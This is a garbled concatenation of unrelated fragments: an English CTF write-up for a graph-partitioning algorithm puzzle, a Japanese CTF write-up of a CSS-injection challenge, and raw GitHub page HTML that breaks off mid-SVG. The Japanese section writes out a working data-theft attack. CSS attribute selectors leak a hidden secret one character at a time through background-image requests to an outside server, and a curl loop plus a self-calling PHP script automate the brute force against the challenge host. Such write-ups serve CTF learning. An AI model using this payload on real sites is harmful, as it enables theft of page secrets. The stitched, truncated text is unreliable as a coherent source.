# Space FriendsWe have a set of N friends, and M pairwise connections between friends. Each connection goes both ways, so if, for example, Aariss Weiron is friends with Bendelman, then Bendelman is also friends with Aariss Weiron. Each connection also has an associated weight, representing how close the two friends are, which is a positive integer value. No two pairs of friends with a connection have the same weight.
Our objective is to somehow divide our set of friends into two 'equal' halves. We also want to put friends who are pretty close to each other into the same set. We formally define the problem as follows:
We have a set of friends of even size, some with bi-directional pairwise connections. Each connection has a positive integer weight, and each connection has a distinct weight. Our objective is to divide our friends into two sets of equal size with this property: The largest connection-weight that crosses between the two sets should be as small as possible. Compute this connection-weight for each friend network given. A crossing connection is one such that the two friends it connects are in different sets. Each friend network is in the following format: The first line has two numbers:
N (guaranteed to be even) and M (number of connections). M lines follow this line. Each one represents a connection and has three tokens. The first two are the friends it connects, and the last one is the weight of the connection.
## Dividing graphPick some integer `ew > 0`. Assume that `ew` is the largest connection-weight that crosses between the two halfs. Notice that if there's an edge greater than `ew` between two nodes, both should belong to the same half. Therefore, if there's a path between two nodes consisting of edges greater than `ew`, both nodes should belong to the same half.
Remove all edges but greater than `ew` from the graph. The graph got splitted into a few connected subgraphs, each containing one or more nodes. So with `ew = 0` no edge will be removed - it will be the original graph. With `ew` greater than the greatest edge, all edges will be removed, so all nodes will be disconnected and N subgraphs should be there.
Every such subgraph should entirely belong to the one half. We can split the graph into two equal halves with the largest connection-weight `ew` if and only if there's some set of the subgraphs that contains exactly N/2 nodes.
## Subset sumHow to find out if there's such set? We'll answer using dynamic programming. Let `fP[i]` be the count of nodes in the `i`'s subgraph and try to reach `w` nodes.
First of all, suppose that we're able to reach 0 nodes using no subgraphs.
Next,
- If we're able to reach `w` nodes using subgraphs `1..i-1`, then we're able to reach `w` nodes even with subgraph `i` - we're just not required to include it.- If we're able to reach `w-fP[i]` nodes using subgraphs `1..i-1`, then we're able to reach `w` nodes using subgraph `i` by adding it to the set.
By applying this formula for `w` from 0 to N/2 and for all subgraphs we arrive to the answer.
## SoFind out the answer binary searching by `ew`.
```./friends.py sctf{43226;9474;40749;750}``` |
アクセスすると、HTMLのボタンをデザインする画面が現れました。Submit を押すとそのボタンが現れるとともにどこかに送られるようでしたが、ボタンのスタイルの修正のみが反映されてテキストの変更は反映されませんでした。送られた情報を見ると、ボタンのスタイルは CSS の形式で送られているようでした。そのため、試しに<span>{ background-image: url(https://nhiroki.net/hoge.png); }</span>のようなCSSを送り付けると、サーバから指定した URL にアクセスが来ました。そのため、 CSS から JavaScript を実行する方法について調べていました。アクセスが Firefox からだったことも踏まえて調べると、-moz-binding">https://developer.mozilla.org/ja/docs/Web/CSS/-moz-binding">-moz-binding なるもので JavaScript コードを実行可能なようでした。しかし、ドキュメントはヒットしないものの Firefox 47 では動作しないようでした。そのあと、 CSS injection なるヒントが公開され、方向性は間違っていないと判断しました。さらにそのあと ReGeX なるヒントが公開されました。そのため、色々調べると、 CSS は要素の指定などに正規表現が使えるようでした。ここで、ボタン作成時の画面の HTML に<pre> <!-- Admin only ... <span value="secret"></span> --></pre>という怪しげな記述があるのを思い出しました。CSS では HTML 要素の属性（<input type="text"> なら type="text" の部分）を条件に含めることができ、さらに完全一致のみならず先頭一致や含むかどうかという制限もできるようでした。そのため、この要素を利用することで、特定の条件を持った属性（コメントを見る限りフラグがここに置かれている）が含まれるかを調べることができそうでした。試しに画面に表示されているボタン（攻撃対象になかったとしても手元のブラウザでは表示される）で<span>{} div[id="button"]{ background-image: url(https://nhiroki.net/hoge.png); }</span>といった感じのことをしてみると無事アクセスが来たので、あとは一文字ずつ総当たりで調べることにしました。なお、^は***に置換されてしまったので、中間一致を利用して前と後ろにそれぞれ伸ばしていくことにしました。最初は<pre>for i in a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9do flag=<ここに既にわかっている部分を入れる>$i curl -X POST --data-urlencode 'csscode={height: 1px; line-height: 1px;}span[value*="'$flag'"]{ background-image: url(https://nhiroki.net/******?fl='$flag');}' --data-urlencode 'submit=Share your button!' http://118.70.80.143:8104/push.phpdone</pre>といったスクリプトを地道に手で走らせてはアクセスログを見ていましたが、結構長そうだったので、<pre><?php$initialflag=$_GET['flag'];for($i = 0; $i < 10; $i++){ $flag=$initialflag.$i; system('curl -X POST --data-urlencode \'csscode={height: 1px; line-height: 1px;}span[value*="\''.escapeshellarg($flag).'\'"]{ background-image: url(https://****.php?flag=\''.escapeshellarg($flag).'\');}\' --data-urlencode \'submit=Share your button!\' http://118.70.80.143:8104/push.php');}for ($i = 0; $i < 26; $i++){ $j=chr(ord('a')+$i); $flag=$initialflag.$j; system('curl -X POST --data-urlencode \'csscode={height: 1px; line-height: 1px;}span[value*="\''.escapeshellarg($flag).'\'"]{ background-image: url(https://****.php?flag=\''.escapeshellarg($flag).'\');}\' --data-urlencode \'submit=Share your button!\' http://118.70.80.143:8104/push.php');}</pre>（background-image で指定しているのがこのスクリプト自体）といった感じのコードをサーバ上に設置し、最初に一回たたけばあとは自動で伸びるところまで伸びるようにして、方向だけは途中で文字列を前にも伸ばすようにしてフラグを得ました。（なお、大文字は画面上でも勝手に小文字に変換されたので省きました。） |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf/events/alictf2016/fb at master · murmus/ctf · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="CA5D:F966:1769909:1807DA6:6412294A" data-pjax-transient="true"/><meta name="html-safe-nonce" content="610989b7e6b69cadbaef59c105b4ab56f63822273d3343f6cd01de4b42ac1759" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDQTVEOkY5NjY6MTc2OTkwOToxODA3REE2OjY0MTIyOTRBIiwidmlzaXRvcl9pZCI6IjYzMTI0Nzg1MDA3OTMyMzE2OTAiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="29e8638f906978e76dcaa5f5ed09efd921e26b0e70a0216706e1043bc66a52ff" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:60412168" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to murmus/ctf development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/629226e2f3e990f771dbed35fc94eb36640a70224211056b8150c47b9971d20b/murmus/ctf" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf/events/alictf2016/fb at master · murmus/ctf" /><meta name="twitter:description" content="Contribute to murmus/ctf development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/629226e2f3e990f771dbed35fc94eb36640a70224211056b8150c47b9971d20b/murmus/ctf" /><meta property="og:image:alt" content="Contribute to murmus/ctf development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf/events/alictf2016/fb at master · murmus/ctf" /><meta property="og:url" content="https://github.com/murmus/ctf" /><meta property="og:description" content="Contribute to murmus/ctf development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/murmus/ctf git https://github.com/murmus/ctf.git">
<meta name="octolytics-dimension-user_id" content="417998" /><meta name="octolytics-dimension-user_login" content="murmus" /><meta name="octolytics-dimension-repository_id" content="60412168" /><meta name="octolytics-dimension-repository_nwo" content="murmus/ctf" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="60412168" /><meta name="octolytics-dimension-repository_network_root_nwo" content="murmus/ctf" />
<link rel="canonical" href="https://github.com/murmus/ctf/tree/master/events/alictf2016/fb" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 